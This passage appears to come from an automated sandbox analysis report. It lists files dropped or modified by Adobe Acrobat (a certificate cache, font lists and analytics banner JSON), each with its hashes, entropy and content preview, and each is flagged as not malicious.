Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkltgEttfllXlE/HT8kwuzttNNX8RolJuRdxLlGB9lQRYwpDdt:kKEeT8wpNMa8RdWBwRd
MD5:	21186D61886566A525ED78A8EF6E0A2C
SHA1:	3C2A62CAE0808BC3181FC08B28E1F1CF31AFBEFE
SHA-256:	4F8D93DEDAF2EC8FBB9EB9F4EABB2AA303A75AB4B51BE787B3B793E97D866C7A
SHA-512:	CEB2F3FCB6AED284DF3E4DD3808A23779E5A566DF61339AB148E1F5C7EFFF7F00068F4514313D9F8BA44604B68144D27819ECE17DCAB1F8D53DC3C2C91302310
Malicious:	false
Preview:	p...... ........^.jD.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2345913795203645
Encrypted:	false
SSDEEP:	6:kKIsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:piDImsLNkPlE99SNxAhUe/3
MD5:	E7B9FBB4216DAFE87496C213EC5F4172
SHA1:	E420EC684E1BCE7650EAEB5E27C27B08BFB50E86
SHA-256:	41FF94A985DF890AEE6B0063BB8AEAAC7C1248CF65286EDCDBDE945C9744C5FD
SHA-512:	854712132036BEF77F86E9A228210707778A21087A8022E783F0985021293CBDB69391334C93EC8A52B1A92AF54DC63A87017369067987EDDFAF208A33C0A765
Malicious:	false
Preview:	p...... ..........h.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4884

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4884

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.344665008834178
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJM3g98kUwPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGMbLUkee9
MD5:	9C98B8F508B6C3047E5EB8C25F64D77A
SHA1:	86B624ACC8E26C731894578AA28A17DE9BA252DC
SHA-256:	5221E0D829747D673CAF94B34461A78CBE0600F5FD2B2F0A9401E1CDC9F0570D
SHA-512:	C11E9355332032E8BBD804DC2F888BD6329A5758BA3FC60A0539D6AF749BCFC4B6BA956667650D47BB3695EE8B4B965E52805FAD691F475D96DD8581E91D315A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280791890058326
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJfBoTfXpnrPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGWTfXcUk3
MD5:	6690A1C936027347CBEEA34032C04E71
SHA1:	C901ECC8BEC7BD6BCF2B597BC6132F2245847F8F
SHA-256:	E0129F45A4EBB0206D9B687E3E97152FDBAD7383A66580DD9BB877D7964CBEEA
SHA-512:	7A03F551BF42F6D93635F7DC83A6A9AB1F1756B2B2EA62C5052E4A68183118790378B8BFD47FD06467470A12ABAC225482141C18A6EFA02E81F39C5388BDCF19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.258552960430152
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJfBD2G6UpnrPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGR22cUke6
MD5:	D683B96BCBC7EE971C544C8838A8762B
SHA1:	D1A81DFA12DFFA1162C116E3CEC649FDBA1A5845
SHA-256:	A38CEDA744E723BF828CC76D07E84CA00CCBC01DEAC1BA8A4D39A4F26D316ADC
SHA-512:	EFE80A5963E91B2A550B5554D710F2658FD9C90620E0C9D7BE3B10EE27F73F9B1714F1B6F33E77F920B6D070ADEAE2A184AEB2215E30D3C4314966FBEA30A493
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.320957471959018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJfPmwrPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGH56Ukee9
MD5:	51BEAB640CB5BC8DB9ADC992BF13719B
SHA1:	C5EB438D39BD2FD126EEEF2267A37D3F5DEC61DF
SHA-256:	86BD5D626ABC861FCCFF165FB26061CF13F0987679F11449E4CF79A2456BD031
SHA-512:	3419B2AADD765791097AC3891CB1857C48C21DB06B073EF3E42E7FA8BE7CBFD329D3BA1DCFD56EB1CCC32D5300F211EEF9ED0025597A0BC22CD77371E247E4C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.682790584529472
Encrypted:	false
SSDEEP:	24:Yv6XG8Bn2JhqgoJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSJb:Yvh8B2JhRohgy6SAFv5Ah8cv/x
MD5:	E599A05C78BA6062904D30CC1B271173
SHA1:	8090C4D7BCCEAC77C44D46EE92267A7B1D9CF9F7
SHA-256:	16282CEC6CD6F2DE97EF651E02D045D5E5C3E99DA415163FE4D87FFAA2A73078
SHA-512:	66D634F41776E81AD1E7EAC63BA4BCFC86F6F9C5FB8749DE902A5F7914319C7B43B4A82139C1940CA0B00920E7B3595F415AC8DD6E121CB16A098A33F3D2BFD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26769184827935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJf8dPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGU8Ukee9
MD5:	702D2B97C9B7709C26A2A9D074F45822
SHA1:	3E29E92DE4F42AFAFC67C434AB989DC8D0835085
SHA-256:	BD6D4D90B23A88CA2899844A35ECED776B58CEA2A9CFF143F6FCFD4C9B3E5B7E
SHA-512:	3FE00A615ED03CD53B8047F36CC8445668937CB38587CEEAD7234E460AAE7FBBDDEF216678A655F4A421177274EC9F09A087F305E26644F2DE52323F3A15646D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.266411949591101
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJfQ1rPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGY16Ukee9
MD5:	C792182F9F4AB5196AC67E216D9D83D9
SHA1:	2184FB6D6CCD16C40742C54511F1ED99C5BDD5FE
SHA-256:	B03C1CED145B931AF8676CD2BBABF15D8A1E7FBD8D9C237337F1DD3A0EE3485D
SHA-512:	7FC945E3AC17B8BC222962ACF1BCE3A48B1942D22B3A06D972297CFE91A7B06D1F4697CE27BCE1D56C8630B6BDD8A4B8CEDFE64FDCA473611069E28C91A9212C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283030357093822
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJfFldPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGz8Ukee9
MD5:	51AD42A9F0387D1659965A763CA94569
SHA1:	69DD926926E8BD0C8DEA8E1AE9D6747B062F89CB
SHA-256:	AA1D9282BC5A7CBB02A1119E046CCA00E43FB59CA8971D3B8081F6C0747E2B11
SHA-512:	F4A049F17F994561929E93B1D065F90233B11C9BAFB5566CCC686F4C3A29CD90FC666933BA6DAD6214701B5272CD168510234FEAD80FB77CD03F19B7B154245E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.297221834718047
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJfzdPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGb8Ukee9
MD5:	C12A289C9D03265CF7724B724F6D8724
SHA1:	7D3732B33C5E024AF4CBC6AFC008666410AAE2A1
SHA-256:	45E8244485DA6943EC2A75E74F07B113FF7B1FE02F89CD41E6B4B7934660A794
SHA-512:	558B6E10C53B28F34A1C6F090291D7F42AC2A3C456BA4EB91D1C69A61EFCA10622E30B617942F362C5A871C50711DAB5FEF8C13FF40DCFCF6130101B5251E051
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277405886428746
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJfYdPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGg8Ukee9
MD5:	5AE0ABE09E227993FCC9DF7A207859EF
SHA1:	81DCC1EF290A8D32D86B3F5E88BCD57C7CC70006
SHA-256:	0B4367C95293113BAEB2D8636B3D0D752B3127D3075355B46C0EBD5AEFC79B66
SHA-512:	2AEBE4BA1FF87E8E0FD8590CE7BFE9D8745318ECFD71D292AD6C1A33C94B3207C2C4186248CC1C9C37AFFC0E23B6F369B7331B30E17429F91951769EEDCBE492
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.263357466489627
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJf+dPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosG28Ukee9
MD5:	EE8563F0A54ED350B22F398B2C56F379
SHA1:	1143430AEB7684F2941F150C5CB34EC5FD914A90
SHA-256:	B28864819F321CEA82859DB9B7B73ACF9ED2230B8F739E880D321CBCCD8A5E5A
SHA-512:	A27D52064F84670CB39426FA6DEEF81DD6F5296703F150A1FA9C82D7C397DA2DD520D7138389F63F4CBCB8C853D800AA5FCDF9E3F29964A5E5C5AE247D432E39
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
